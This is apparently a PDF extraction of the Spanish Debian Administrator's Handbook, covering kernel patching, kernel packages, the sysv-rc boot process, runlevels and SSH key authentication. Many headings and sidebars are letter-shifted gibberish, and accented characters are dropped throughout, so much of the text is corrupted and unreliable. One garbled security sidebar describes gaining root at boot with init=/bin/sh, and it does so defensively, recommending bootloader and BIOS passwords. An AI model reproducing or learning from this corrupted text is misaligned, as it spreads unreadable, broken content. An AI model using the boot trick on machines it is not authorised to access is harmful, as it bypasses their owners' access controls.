NPEVMFBTTJTUBOU

"OUFT EF %,.4 NPEVMFBTTJTUBOU FSB MB TPMVDJO NT TJNQMF QBSB DPNQJMBS


Z EFTQMFHBS NEVMPT EFM ODMFP 5PEBWB QVFEF VUJMJ[BSMP FTQFDJBMNFOUF DPO
QBRVFUFT RVF OP QPTFFO JOUFHSBDJO DPO %,.4 TJNQMFNFOUF FKFDVUBOEP mod
ule-assistant auto-install virtualbox P TV WFSTJO DPSUB m-a a-i vi
rtualbox
TF DPNQJMBS FM NEVMP QBSB FM ODMFP BDUVBM TF DSFBS VO OVFWP
QBRVFUF %FCJBO RVF MP DPOUJFOF Z TF MP JOTUBMBS BVUPNUJDBNFOUF

 "QMJDBDJO EF VO QBSDIF BM ODMFP


Algunas funcionalidades no estn incluidas en el ncleo estndar debido a falta de madurez o
algn desacuerdo con los encargados del ncleo. Dichas funcionalidades pueden ser distribuidas
como parches que cualquiera puede aplicar a las fuentes del ncleo.
Debian distribuye algunos de estos parches en paquetes linux-patch-* o kernel-patch-* (por ejemplo, linux-patch-grsecurity2 que ajusta algunas de las polticas de seguridad del ncleo). Estos paquetes instalan archivos en el directorio /usr/src/kernel-patches/.
Para aplicar uno o ms de estos parches instalados, utilice el programa patch en el directorio
con las fuentes y luego inicie la compilacin del ncleo como ya describimos.
$ cd ~/kernel/linux-source-3.2
$ make clean
$ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity
-2.9.1-3.2.21-201206221855.patch.gz | patch -p1
$ make deb-pkg LOCALVERSION=-grsec

Sepa que un parche dado no necesariamente funcionar con toda versin del ncleo; es posible
que patch falle al aplicarlo en las fuentes del ncleo. Se mostrar un mensaje de error que provee
algunos detalles del fallo; en este caso, revise la documentacin disponible en el paquete Debian
del parche (en el directorio /usr/share/doc/linux-patch-*/). En la mayora de los casos, el
desarrollador indica para qu versiones del ncleo est creado el parche.

 *OTUBMBDJO EF VO ODMFP


 $BSBDUFSTUJDBT EF VO QBRVFUF %FCJBO EFM ODMFP
Un paquete Debian del ncleo instala la imagen del ncleo (vmlinuz- versin), su configuracin
(config- versin) y su tabla de smbolos (System.map- versin) en /boot/. La tabla de smbolos ayuda a los desarrolladores a entender el significado de un mensaje de error del ncleo; sin
ella, los oops del ncleo (un oops es el equivalente del ncleo de un fallo de segmento en
programas en espacio de usuario, en otras palabras, los mensajes generados luego de desreferenciar un puntero de forma invlida) slo contienen direcciones de memoria numricas, que es



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

informacin intil sin la tabla que enlaza estas direcciones con smbolos y nombres de funcin.
Se instalan los mdulos en el directorio /lib/modules/versin/.
Los scripts de configuracin del paquete generan automticamente una imagen initrd, que es un
minisistema diseado para ser cargado en memoria (de all el nombre, que significa disco ram
de inicio: init ramdisk) por el gestor de arranque y utilizado por el ncleo Linux slo para
cargar los mdulos necesarios para acceder a los dispositivos que contienen el sistema Debian
completo (por ejemplo, los controladores de discos IDE). Finalmente, los scripts postinstalacin
actualizan los enlaces simblicos /vmlinuz, /vmlinux.old, /initrd.img y /initrd.img.old
para que apunten a los dos ltimos ncleos instalados, respectivamente, as como tambin a las
imgenes initrd correspondientes.
Se encargan la mayora de estas tareas a scripts de activacin en los directorios /etc/
kernel/*.d/. Por ejemplo, la integracin con grub est basada en /etc/kernel/postinst.
d/zz-update-grub y /etc/kernel/postrm.d/zz-update-grub para ejecutar update-grub
cuando se instalan o eliminan ncleos.

 *OTUBMBDJO DPO dpkg


Utilizar apt-get es tan conveniente que hace fcil olvidar las herramientas de bajo nivel, pero
la forma ms sencilla de instalar un ncleo compilado es ejecutar algo como dpkg -i paqu
ete.deb, donde QBRVFUFEFC es el nombre de un paquete linux-image como linux-image-3.2.
48-falcot_1_amd64.deb.
Los pasos de configuracin descriptos en este captulos son bsicos y sirven tanto para un servidor como para una estacin de trabajo y pueden ser duplicados masivamente de formas semiautomticas. Sin embargo, no son suficientes por s mismas para proveer un sistema completamente configurado. Todava necesita algunas piezas de configuracin, comenzando con programas de bajo nivel conocidas como servicios Unix.

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



1BMBCSBT DMBWF
"SSBORVF EFM TJTUFNB
4DSJQUT EF JOJDJP
44)
5FMOFU
%FSFDIPT
1FSNJTPT
4VQFSWJTJO
*OFUE
$SPO
3FTQBMEP
$POFYJO FO DBMJFOUF
kIPUQMVH{

1$.$*"
"1.
"$1*

$BQUVMP

4FSWJDJPT 6OJY

$POUFOJEPT
"SSBORVF EFM TJTUFNB 
*OUFSGBDFT EF BENJOJTUSBDJO 
1SPHSBNBDJO EF UBSFBT DPO cron Z atd 

*OJDJP EF TFTJO SFNPUP 


syslog

"ENJOJTUSBDJO EF QFSNJTPT 

&WFOUPT EF TJTUFNB 

&M TVQFSTFSWJEPS inetd 

1SPHSBNBDJO EF UBSFBT BTJODSOJDBT anacron 


3FTQBMEP 

$VPUBT 

$POFYJO FO DBMJFOUF IPUQMVH 

(FTUJO EF FOFSHB JOUFSGB[ BWBO[BEB EF DPOGJHVSBDJO Z FOFSHB "$1* k"EWBODFE $POGJHVSBUJPO BOE 1PXFS *OUFSGBDF


Este captulo cubre un nmero bsico de servicios que son comunes a varios sistemas
Unix. Todos los administradores deberan estar familiarizados con ellos.

 "SSBORVF EFM TJTUFNB


Cuando inicia el equipo, los muchos mensajes que aparecen en la pantalla muestran varias inicializaciones y configuraciones automticas que se estn ejecutando. Algunas veces desear alterar ligeramente cmo funciona esta etapa, lo que significa que necesitar entenderlas bien.
ste es el propsito de esta seccin.
Primero el BIOS toma el control del equipo, detecta los discos, carga el registro maestro de arranque (MBR) y ejecuta el gestor de arranque. Este toma el control, busca el ncleo en el disco,
lo carga y lo ejecuta. Luego se inicializa el ncleo y empieza la bsqueda y montaje de la particin que contiene el sistema de archivos raz y finalmente ejecuta el primer programa init.
Frecuentemente esta particin raz y su init estn, de hecho, ubicados en un archivo virtual
del sistema que slo existe en RAM (de aqu el nombre initramfs, anteriormente llamado initrd por disco RAM de inicializacin: initialization RAM disk). El gestor de arranque carga
este sistema de archivos en memoria, muchas veces desde un archivo en el disco duro o desde
la red. Contiene slo lo mnimo requerido por el ncleo para cargar el verdadero sistema de
archivos raz: estos pueden ser mdulos de controladores para el disco duro u otros dispositivos
sin los cuales el sistema no puede iniciar o, ms frecuentemente, scripts de inicializacin y mdulos para ensamblar arreglos RAID, abrir particiones cifradas, activar volmenes LVM, etc. Una
vez que se mont la particin raz el initramfs entrega el control al verdadero init y la mquina
regresa al proceso de inicio estndar.
Actualmente sysv-rc (System V) provee el init real y esta seccin documenta este sistema
de inicio.
$"40 &41&$'*$0
"SSBORVF EFTEF MB SFE

&O BMHVOBT TJUVBDJPOFT TF QVFEF DPOGJHVSBS FM #*04 QBSB RVF OP FKFDVUF FM


.#3 TJOP RVF CVTRVF TV FRVJWBMFOUF FO MB SFE IBDJFOEP QPTJCMF DPOTUSVJS
FRVJQPT TJO EJTDP EVSP P RVF TPO DPNQMFUBNFOUF SFJOTUBMBEPT FO DBEB BS
SBORVF &TUB PQDJO OP FTU EJTQPOJCMF FO UPEP FM IBSEXBSF Z HFOFSBMNFOUF
OFDFTJUB VOB DPNCJOBDJO BQSPQJBEB EF #*04 Z QMBDB EF SFE
&M BSSBORVF EFTEF MB SFE QVFEF VUJMJ[BSTF QBSB FKFDVUBS debian-installer P
'"* SFWJTF MB 4FDDJO  k.UPEPT EF JOTUBMBDJO{ QHJOB 


70-7&3 " -04


$*.*&/504
&M QSPDFTP VOB JOTUBODJB EF
VO QSPHSBNB

6O QSPDFTP FT MB SFQSFTFOUBDJO FO NFNPSJB EF VO QSPHSBNB FO FKFDVDJO


*ODMVZF UPEB MB JOGPSNBDJO OFDFTBSJB QBSB MB FKFDVDJO BQSPQJBEB EFM QSPHSB
NB FM DEJHP FO T QFSP UBNCJO MPT EBUPT RVF UJFOF FO NFNPSJB MB MJTUB EF
BSDIJWPT RVF IB BCJFSUP MBT DPOFYJPOFT EF SFE RVF IB FTUBCMFDJEP FUD
 6O OJ
DP QSPHSBNB QVFEF TFS JOTUBODJBEP FO WBSJPT QSPDFTPT JODMVTJWF CBKP FM NJTNP
*% EF VTVBSJP

Init pone en marcha varios procesos, siguiendo instrucciones del archivo /etc/inittab. El
primer programa ejecutado (el cual corresponde al paso sysinit) es /etc/init.d/rcS, un script
que ejecuta todos los programas en el directorio /etc/rcS.d/.
Entre estos encontrar sucesivamente programas a cargo de:
configurar el teclado de la consola;



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

cargar controladores: el ncleo carga por s mismo la mayora de los mdulos a medida que
el hardware es detectado; los controladores extras se cargan automticamente cuando los
mdulos correspondientes son listados en /etc/modules;
verificar la integridad de los sistemas de archivos;
montar particiones locales;
configurar la red;
montar sistemas de archivos de red (NFS).
4&(63*%"%
6TBS VOB DPOTPMB DPNP init
QBSB PCUFOFS EFSFDIPT EF
SPPU

1PS DPOWFODJO FM QSJNFS QSPDFTP JOJDJBEP FT FM QSPHSBNB init 4JO FNCBSHP


FT QPTJCMF QSPWFFS VOB PQDJO init BM ODMFP JOEJDBOEP VO QSPHSBNB EJGFSFOUF
$VBMRVJFS QFSTPOB DPO BDDFTP BM FRVJQP QVFEF QSFTJPOBS FM CPUO 3FTFU Z BT
SFJOJDJBSMB &OUPODFT FT QPTJCMF FO FM QSPNQU EFM HFTUPS EF BSSBORVF QBTBS MB
PQDJO init=/bin/sh BM ODMFP QBSB PCUFOFS BDDFTP SPPU TJO DPOPDFS MB DPO
USBTFB EFM BENJOJTUSBEPS
1BSB QSFWFOJSMP QVFEF QSPUFHFS FM HFTUPS EF BSSBORVF DPO VOB DPOUSBTFB
5BNCJO QPESB QFOTBS FO QSPUFHFS FM BDDFTP BM #*04 DBTJ TJFNQSF UJFOF
EJTQPOJCMF VO NFDBOJTNP EF QSPUFDDJO QPS DPOUSBTFB
TJO FM DVBM VO JOUSVTP
NBMJDJPTP QPESB JOJDJBS MB NRVJOB EFTEF VO NFEJP SFNPWJCMF RVF DPOUJFOF
TV QSPQJP TJTUFNB -JOVY FM DVBM QPESB VUJMJ[BS QBSB UFOFS BDDFTP B MPT EBUPT
EFM EJTDP EVSP EFM FRVJQP
'JOBMNFOUF UFOHB FO DVFOUB RVF MB NBZPSB EF MPT #*04 UJFOF EJTQPOJCMF
VOB DPOUSBTFB HFOSJDB *OJDJBMNFOUF EFTUJOBEP B SFTPMWFS MPT QSPCMFNBT
EF RVJFOFT IBO PMWJEBEP TV DPOUSBTFB TUBT BIPSB TPO QCMJDBT Z FTUO
EJTQPOJCMFT FO *OUFSOFU SFWTFMP QPS TV DVFOUB CVTDBOEP kDPOUSBTFBT HFOSJ
DBT EF #*04{ FO BMHO NPUPS EF CTRVFEB
 5PEBT FTUBT QSPUFDDJPOFT JN
QFEJSO FM BDDFTP OP BVUPSJ[BEP B MB NRVJOB TJO QPEFS FWJUBSMP QPS DPNQMFUP
/P FYJTUF VOB GPSNB TFHVSB EF QSPUFHFS VO FRVJQP TJ FM BUBDBOUF QVFEF BDDFEFS
B M GTJDBNFOUF QPESB RVJUBS FM EJTDP EVSP QBSB DPOFDUBSMP B VO FRVJQP CBKP
TV DPOUSPM EF DVBMRVJFS NBOFSB P BO SPCBS MB NRVJOB DPNQMFUB P CPSSBS MB
NFNPSJB EFM #*04 QBSB FMJNJOBS MB DPOUSBTFB

70-7&3 " -04


$*.*&/504
.EVMPT Z PQDJPOFT EFM
ODMFP

-PT NEVMPT EFM ODMFP UBNCJO UJFOFO PQDJPOFT RVF QVFEF DPOGJHVSBS BHSF
HBOEP BMHVOPT BSDIJWPT FO /etc/modprobe.d/ &TUBT PQDJPOFT TF EFGJOFO DPO
EJSFDUJWBT DPNP options nombre-del-mdulo nombre-opcin=valor-opcin
1VFEF FTQFDGJDBS WBSJBT PQDJPOFT DPO VOB TPMB EJSFDUJWB TJ FT OFDFTBSJP
&TUPT BSDIJWPT EF DPOGJHVSBDJO FTUO EFTUJOBEPT B modprobe FM QSPHSBNB
RVF DBSHB VO NEVMP EF ODMFP DPO TVT EFQFOEFODJBT MPT NEVMPT UBNCJO
QVFEFO MMBNBS PUSPT NEVMPT
 &M QBRVFUF LNPE QSPWFF FTUF QSPHSBNB

Luego de esta etapa, init toma el control e inicia los programas activados en el nivel de ejecucin (runlevel) predeterminado (generalmente el nivel 2). Ejecuta /etc/init.d/rc 2, un
script que inicia todos los servicios enumerados en /etc/rc2.d/ y aquellos cuyos nombres
comiencen con la letra S. Los nmeros de dos cifras que le sigue fueron utilizados histricamente para definir el orden en el que se iniciarn los servicios, pero actualmente el sistema de
inicio predeterminado utiliza insserv, que programa todo automticamente basndose en las

$BQUVMP  4FSWJDJPT 6OJY



dependencias de los scripts. Cada script de inicio, por lo tanto, declar las condiciones a cumplir
para iniciar o detener el servicio (por ejemplo, si debe iniciar antes o despus de otro servicio);
init luego los ejecuta en un orden que satisfaga estas condiciones. El enumerado esttico de los
scripts ya no se tiene en cuenta (pero sus nombres siempre deben comenzar con S seguidos de
dos nmeros y el nombre real del script utilizado para dependencias). Generalmente, se inician
primero los servicios de base (como los registros con rsyslogd o la asociacin de puertos con
portmap) seguidos de los servicios estndar y la interfaz grfica (gdm).
Este sistema de inicio basado en dependencias hace posible renumerar automticamente los
scripts, lo que sera tediososo de hacer manualmente y limita el riesgo de error humano ya que
se realiza la programacin segn los parmetros indicados. Otro beneficio es que se pueden
iniciar los servicios en paralelo cuando son independientes entre ellos, lo cual puede acelerar el
proceso de inicio.
"-5&3/"5*7"
0USPT TJTUFNBT EF JOJDJP

&TUF MJCSP EFTDSJCF FM TJTUFNB EF JOJDJP VUJMJ[BEP EF GPSNB QSFEFUFSNJOBEB FO


%FCJBO DPNP FT JNQMFNFOUBEP QPS FM QBRVFUF TZTWJOJU
MB DVBM EFSJWB Z IFSF
EB EF k4ZTUFN 7 { EF TJTUFNBT 6OJY QFSP FYJTUFO PUSPT +FTTJF QSPCBCMFNFOUF
JODMVZB PUSP TJTUFNB EF JOJDJP QSFEFUFSNJOBEP QPSRVF FM BDUVBM ZB OP FT BEF
DVBEP QBSB MB OBUVSBMF[B EJONJDB EF MB JOGPSNUJDB
GJMFSD FT VO TJTUFNB EF JOJDJP DPO VO QSPDFTP NVZ TJNQMF .BOUJFOF FM QSJODJ
QJP EF OJWFMFT EF FKFDVDJO QFSP SFFNQMB[B MPT EJSFDUPSJPT Z FOMBDFT TJNCMJDPT
DPO VO BSDIJWP EF DPOGJHVSBDJO RVF MF JOEJDB B init MPT QSPDFTPT B JOJDJBS Z
FM PSEFO FO FM RVF IBDFSMP
&M TJTUFNB upstart UPEBWB OP GVF QSPCBEP QFSGFDUBNFOUF FO %FCJBO &TU
CBTBEP FO FWFOUPT MPT TDSJQUT EF JOJDJP OP TF FKFDVUBO FO VO PSEFO TFDVFODJBM
TJOP FO SFTQVFTUB B FWFOUPT DPNP MB GJOBMJ[BDJO EF PUSP TDSJQU EFM RVF EF
QFOEF &TUF TJTUFNB DSFBEP FO 6CVOUV FTU QSFTFOUF FO %FCJBO 8IFF[Z QFSP
OP FT FM QSFEFUFSNJOBEP TMP WJFOF DPNP SFFNQMB[P QBSB TZTWJOJU Z VOB EF
MBT UBSFBT FKFDVUBEBT QPS upstart FT FKFDVUBS MPT TDSJQUT FTDSJUPT QBSB TJTUFNBT
USBEJDJPOBMFT FTQFDJBMNFOUF BRVFMMPT EFM QBRVFUF TZTWSD
0USB OVFWB BMUFSOBUJWB RVF FTU HBOBOEP NVDIB GVFS[B FT systemd 4V FOGPRVF
FT PQVFTUP B MPT TJTUFNBT BOUFSJPSFT FO MVHBS EF FKFDVUBS UPEPT MPT TFSWJDJPT
QSFWFOUJWBNFOUF Z UFOFS RVF MJEJBS DPO FM PSEFO EF MPT NJTNPT systemd JOJDJB
MPT TFSWJDJPT B QFEJEP EF BMHVOB GPSNB TJNJMBS B inetd 1FSP FTUP TJHOJGJDB
RVF FM TJTUFNB EF JOJDJP OFDFTJUB QPEFS TBCFS DNP TF QSPWFF DBEB TFSWJDJP
QVFEF TFS B USBWT EF VO [DBMP VO TJTUFNB EF BSDIJWP V PUSPT
Z QPS MP UBOUP
OFDFTJUB QFRVFBT NPEJGJDBDJPOFT FO FTUPT TFSWJDJPT 5BNCJO FT DPNQBUJCMF
DPO MPT TDSJQUT EF JOJDJP EF 4ZTUFN 7
5BNCJO FYJTUFO PUSPT TJTUFNBT Z PUSPT NPEPT EF PQFSBDJO DPNP runit
minit P initng QFSP TPO SFMBUJWBNFOUF FTQFDJBMJ[BEPT Z QPDP EJGVOEJEPT

init distingue varios niveles de ejecucin (runlevel) y puede cambiar de uno a otro ejecutando telinit nuevo-nivel. Inmediatamente, init ejecuta nuevamente /etc/init.d/rc con el

nuevo nivel de ejecucin. Luego, este script ejecutar los servicios faltantes y detendr aquellos
que ya no se desean. Para hacerlo, se refiere al contenido del archivo /etc/rcX.d (donde X representa el nuevo nivel de ejecucin). Los scripts cuyos nombres comienzan con S (por start,
iniciar) son los servicios a iniciar; aquellos cuyos nombres comienzan con K (por kill, matar)



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

son los servicios a detener. El script no inicia ningn servicio que ya haya estado activo en el
nivel de ejecucin anterior.
De forma predeterminada, Debian utiliza cuatro niveles de ejecucin diferentes:
Nivel 0: slo se lo utiliza temporalmente mientras se apaga el equipo. Como tal, slo contiene scripts K.
Nivel 1: tambin conocido como modo de usuario nico, corresponde al sistema en modo
degradado; slo incluye servicios bsicos y est destinado a operaciones de mantenimiento donde no se desea la interaccin con usuarios normales.
Nivel 2: es el nivel para operaciones normales, lo que incluye servicios de red, una interfaz
grfica, sesiones de usuario, etc.
Nivel 6: similar a nivel 0, excepto a que es utilizada durante la fase de cierre que precede
a un reinicio.
Existe otros niveles, especialmente del 3 al 5. De forma predeterminara estn configurados para
operar de la misma forma que el nivel 2, pero el administrador puede modificarlos (agregando
o eliminando scripts en los directorios /etc/rcX.d correspondientes) para adaptarlos a necesidades particulares.

'JHVSB  4FDVFODJB EF JOJDJP EF VO FRVJQP FKFDVUBOEP -JOVY

$BQUVMP  4FSWJDJPT 6OJY



Todos los scripts en los varios directorios /etc/rcX.d son slo enlaces simblicos creados
durante la instalacin del paquete por el programa update-rc.d que apuntan a los scripts
reales que estn almacenados en /etc/init.d/. El administrador puede ajustar los servicios
disponibles en cada nivel de ejecucin ejecutando update-rc.d nuevamente con los parmetros correctos. La pgina de manual update-rc.d(1) describe la sintaxis en detalle. Sepa que
eliminar todos los enlaces simblicos (con el parmetro SFNPWF) no es un buen mtodo de desactivar un servicio. En su lugar, simplemente debera configurar para que el mismo no se ejecute en el nivel de ejecucin deseado (preservando las llamadas para detenerlo en caso que el
servicio est ejecutando en el nivel de ejecucin anterior). Debido a que update-rc.d tiene una
interfaz bastante compleja, puede preferir utilizar rcconf (en el paquete rcconf ) que provee una
interfaz mucho ms amigable.

/03."5*7" %&#*"/
3FJOJDJBMJ[BDJO EF TFSWJDJPT

-PT TDSJQUT EF NBOUFOJNJFOUP QBSB QBRVFUFT %FCJBO B WFDFT SFJOJDJBO BMHVOPT


TFSWJDJPT QBSB BTFHVSBS TV EJTQPOJCJMJEBE P DPOTFHVJS RVF UFOHBO FO DVFOUB
BMHVOBT PQDJPOFT &M TDSJQU RVF DPOUSPMB VO TFSWJDJP /etc/init.d/servicio
operacin OP UJFOF FO DVFOUB FM OJWFM EF FKFDVDJO BTVNF JODPSSFDUBNFOUF

RVF FM TFSWJDJP FTU TJFOEP VUJMJ[BEP BDUVBMNFOUF Z QPS MP UBOUP QVFEF JOJDJBS
PQFSBDJPOFT JODPSSFDUBT JOJDJBS VO TFSWJDJP RVF GVF EFUFOJEP EFMJCFSBEBNFOUF
P EFUFOFS VO TFSWJDJP RVF OP FTU FKFDVUBOEP FUD
 1PS MP UBOUP %FCJBO JO
USPEVKP FM QSPHSBNB invoke-rc.d MPT TDSJQUT EF NBOUFOJNJFOUP EFCFO VUJ
MJ[BS FTUF QSPHSBNB QBSB FKFDVUBS TDSJQUT EF JOJDJBMJ[BDJO EF TFSWJDJPT RVF TMP
FKFDVUBSO MBT SEFOFT OFDFTBSJBT 4FQB RVF DPOUSBSJP BM VTP DPNO BRV TF
VUJMJ[B FM TVGJKP .d FO FM OPNCSF EF VO QSPHSBNB Z OP FO VO EJSFDUPSJP

Finalmente, init inicia los programas de control para varias consolas virtuales (getty). Muestra
un prompt esperando por un nombre de usuario y luego ejecuta login usuario para iniciar una
sesin.

70$"#6-"3*0
$POTPMB Z UFSNJOBM

-PT QSJNFSPT FRVJQPT HFOFSBMNFOUF FTUBCBO TFQBSBEPT FO WBSJBT QBSUFT NVZ


HSBOEFT FM DPNQBSUJNJFOUP EF BMNBDFOBNJFOUP Z MB VOJEBE EF QSPDFTBNJFOUP
DFOUSBM FTUBCBO TFQBSBEPT EF MPT EJTQPTJUJWPT QFSJGSJDPT RVF MPT PQFSBEPSFT
VUJMJ[BCBO QBSB DPOUSPMBSMPT TUPT FSBO QBSUF EF VO NPCJMJBSJP TFQBSBEP MB
kDPOTPMB{ 4F NBOUVWP FTUF USNJOP QFSP DBNCJ TV TJHOJGJDBEP 4F DPOWJSUJ
EF DJFSUB GPSNB FO TJOOJNP EF kUFSNJOBM{ VO UFDMBEP Z VOB QBOUBMMB

$PO FM EFTBSSPMMP EF MB UFDOPMPHB MPT TJTUFNBT PQFSBUJWPT IBO PGSFDJEP WBSJBT
DPOTPMBT WJSUVBMFT RVF QFSNJUFO WBSJBT TFTJPOFT JOEFQFOEJFOUFT BM NJTNP UJFN
QP BO TJ TMP IBZ VO UFDMBEP Z QBOUBMMB -B NBZPSB EF MPT TJTUFNBT (/6-JO
VY PGSFDFO TFJT DPOTPMBT WJSUVBMFT FO NPEP UFYUP
B MBT RVF QVFEF BDDFEFS
QSFTJPOBOEP MBT DPNCJOBDJPOFT EF UFDMBT $POUSPM "MU ' B $POUSPM "MU '
1PS FYUFOTJO MPT USNJOPT kDPOTPMB{ Z kUFSNJOBM{ UBNCJO QVFEFO IBDFS
SFGFSFODJB B FNVMBEPSFT EF UFSNJOBMFT FO VOB TFTJO HSGJDB 9 DPNP xterm
gnome-terminal P konsole




&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 *OJDJP EF TFTJO SFNPUP


Es esencial para el administrador poder conectarse a un equipo de forma remota. Los servidores,
aislados en su propia habitacin, rara vez estn equipados con monitores y teclados permanentes pero estn conectados a la red.
70-7&3 " -04
$*.*&/504
$MJFOUF TFSWJEPS

(FOFSBMNFOUF TF EFTDSJCF B VO TJTUFNB FO FM RVF WBSJPT QSPDFTPT TF DPNVOJDBO


FOUSF FMMPT DPO MB NFUGPSB kDMJFOUFTFSWJEPS{ &M TFSWJEPS FT FM QSPHSBNB RVF
UPNB Z FKFDVUB MPT QFEJEPT RVF QSPWJFOFO EF VO DMJFOUF &T FM DMJFOUF FM RVF
DPOUSPMB MB PQFSBDJO FM TFSWJEPS OP UJFOF JOJDJBUJWB QSPQJB

 *OJDJP TFHVSP EF TFTJO SFNPUB 44)


El protocolo SSH (interprete de rdenes seguro: Secure SHell) fue diseado pensando en la
seguridad y la confiabilidad. Las conexiones que utilizan SSH son seguras: la otra parte es autenticada y se cifran todos los datos intercambiados.
$6-563"
5FMOFU Z 34) TPO PCTPMFUPT

"OUFT EF 44) 5FMOFU Z 34) FSBO MBT QSJODJQBMFT IFSSBNJFOUBT QBSB TFTJPOFT
SFNPUBT "DUVBMNFOUF TPO HFOFSBMNFOUF PCTPMFUBT Z OP EFCFSB VUJMJ[BSMBT BO
DVBOEP %FCJBO UPEBWB MBT QSPWFF

70$"#6-"3*0
"VUFOUJDBDJO DJGSBEP

$VBOEP OFDFTJUB QSPWFFSMF B VO DMJFOUF MB DBQBDJEBE EF SFBMJ[BS P EFTFODB


EFOBS BDDJPOFT FO VO TFSWJEPS MB TFHVSJEBE FT JNQPSUBOUF %FCF BTFHVSBS MB
JEFOUJEBE EFM DMJFOUF FTUP FT BVUFOUJDBDJO &TUB JEFOUJEBE HFOFSBMNFOUF DPO
TJTUFO FO VOB DPOTUSBTFB RVF EFCF NBOUFOFSTF FO TFDSFUP P DVBMRVJFS PUSP
DMJFOUF QPESB PCUFOFS MB DPOUSBTFB &TUF FT FM QSPQTJUP EFM DJGSBEP RVF FT
VOB GPSNB EF DPEJGJDBDJO RVF QFSNJUF B EPT TJTUFNBT JOUFSDBNCJBS JOGPSNB
DJO DPOGJEFODJBM FO VO DBOBM QCMJDP BM NJTNP UJFNQP RVF MB QSPUFHF EF RVF
PUSPT MB QVFEBO MFFS
'SFDVFOUFNFOUF TF OPNCSBO B MB BVUFOUJDBDJO Z BM DJGSBEP FO DPOKVOUP UBOUP
QPSRVF TF MPT VUJMJ[B B BNCPT DPNP QPSRVF HFOFSBMNFOUF TPO JNQMFNFOUBEPT
DPO DPODFQUPT NBUFNUJDPT TJNJMBSFT

SSH tambin ofrece dos servicios de transferencia de archivos. scp es una herramienta para
la terminal que puede utilizar como cp excepto que cualquier ruta a otro equipo utilizar un
prefijo con el nombre de la mquina seguido de dos puntos (:).
$ scp archivo equipo:/tmp/

sftp es un programa interactivo similar a ftp. En una sola sesin sftp puede transferir varios

archivos y es posible manipular archivos remotos con l (eliminar, renombrar, cambiar permisos, etc.).

$BQUVMP  4FSWJDJPT 6OJY



Debian utiliza OpenSSH, una versin libre de SSH mantenida por el proyecto OpenBSD (un sistema operativo libre basado en el ncleo BSD enfocado en seguridad) que es una bifurcacin
(fork) del software SSH original desarrollado por la empresa SSH Communications Security
Corp de Finlandia. Esta empresa inicialmente desarroll SSH como software libre pero eventualmente decidi continuar su desarrollo bajo una licencia privativa. El proyecto OpenBSD luego
cre OpenSSH para mentener una versin libre de SSH.
70-7&3 " -04
$*.*&/504
#JGVSDBDJO kGPSL{

6OB CJGVSDBDJO kGPSL{


FO FM DBNQP EF TPXBSF TJHOJGJDB RVF DPNJFO[B VO
OVFWP QSPZFDUP DPNP DMPO EF VO QSPZFDUP FYJTUFOUF Z RVF DPNQFUJS DPO M
%FTEF BMM BNCPT QSPHSBNBT HFOFSBMNFOUF EJWFSHJSO SQJEBNFOUF FO USNJ
OPT EF OVFWPT EFTBSSPMMPT 1PS MP HFOFSBM TPO VO SFTVMUBEP EF EFTBDVFSEPT
EFOUSP EFM FRVJQP EF EFTBSSPMMP
-B PQDJO EF CJGVSDBS VO QSPZFDUP FT VO SFTVMUBEP EJSFDUP EF MB OBUVSBMF[B
NJTNB EFM TPXBSF MJCSF FT VO FWFOUP TBMVEBCMF DVBOEP QFSNJUF MB DPOUJO
VBDJO EF VO QSPZFDUP DPNP TPXBSF MJCSF QPS FKFNQMP FO FM DBTP EF DBNCJPT
EF MJDFODJB
 6OB CJGVSDBDJO HFOFSBEB QPS EFTBDVFSEPT UDOJDPT P QFSTPOBMFT
VTVBMNFOUF FT VO EFTQFSEJDJP EF SFDVSTPT TF QSFGJFSF PUSB TPMVDJO 5BNCJO
PDVSSFO GVTJPOFT EF EPT QSPZFDUPT RVF BOUFSJPSNFOUF IBCBO CJGVSDBEP

OpenSSH est dividido en dos paquetes: la parte del cliente se encuentra en el paquete opensshclient y el servidor en el paquete openssh-server. El metapaquete ssh depende de ambas partes y
facilita la instalacin conjunta (apt-get install ssh).

"VUFOUJDBDJO CBTBEB FO MMBWFT


Cada vez que alguien inicia sesin a travs de SSH, el servidor remoto pide una contrasea para
autenticar al usuario. Esto puede ser problemtico si desea automatizar la conexin o si utiliza
una herramienta que necesita conexiones frecuentes sobre SSH. Es por esto que SSH ofrece un
sistema de autenticacin basada en llaves.
El usuario genera un par de llaves en la mquina cliente con ssh-keygen -t rsa; la llave pblica se almacena en ~/.ssh/id_rsa.pub mientras que la llave privada correspondiente estar
almacenada en ~/.ssh/id_rsa. Luego, el usuario utiliza ssh-copy-id servidor para agregar
su llave pblica al archivo ~/.ssh/authorized_keys en el servidor. Si no se protegi la llave
privada con una frase de contrasea al momento de crearla, todos los inicios de sesin siguientes al servidor funcionarn sin contrasea. De lo contrario, debe descifrar la llave privada
cada vez ingresando la frase de contrasea. Afortunadamente, ssh-agent permite mantener
llaves privadas en memoria para no tener que ingresar la frase de contrasea regularmente.
Para ello, simplemente utilizara ssh-add (una vez por sesin de trabajo) siempre que la sesin
ya est asociada con una instancia funcional de ssh-agent. De forma predeterminada, Debian
activa este comportamiento en sesiones grficas pero lo puede desactivar cambiando el archivo
/etc/X11/Xsession.options. Para una sesin en consola, puede iniciarlo manualmente con
eval $(ssh-agent).



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

4&(63*%"%
1SPUFDDJO EF MB MMBWF QSJWBEB

JFO QPTFB MB MMBWF QSJWBEB QVFEF JOJDJBS TFTJO DPO MB DVFOUB DPOGJHVSBEB &T
QPS FTUP RVF TF QSPUFHF MB MMBWF QSJWBEB DPO VOB kGSBTF EF DPOUSBTFB{ JFO
PCUFOHB VOB DPQJB EFM BSDIJWP EF MB MMBWF QSJWBEB QPS FKFNQMP ~/.ssh/id_
rsa
UPEBWB UFOES RVF TBCFS EJDIB GSBTF QBSB QPEFS JOUFOUBS VUJMJ[BSMB 4JO
FNCBSHP FTUB QSPUFDDJO BEJDJPOBM OP FT JOGBMJCMF Z FT NFKPS EFTIBCJMJUBS MB
MMBWF FO BRVFMMPT FRVJQPT FO MBT RVF MB JOTUBM FMJNJOOEPMB EF MPT BSDIJWPT
authorized_keys
Z SFFNQMB[OEPMB DPO VOB OVFWB MMBWF RVF IBZB HFOFSBEP

$6-563"
'BMMB 0QFO44- FO %FCJBO
&UDI

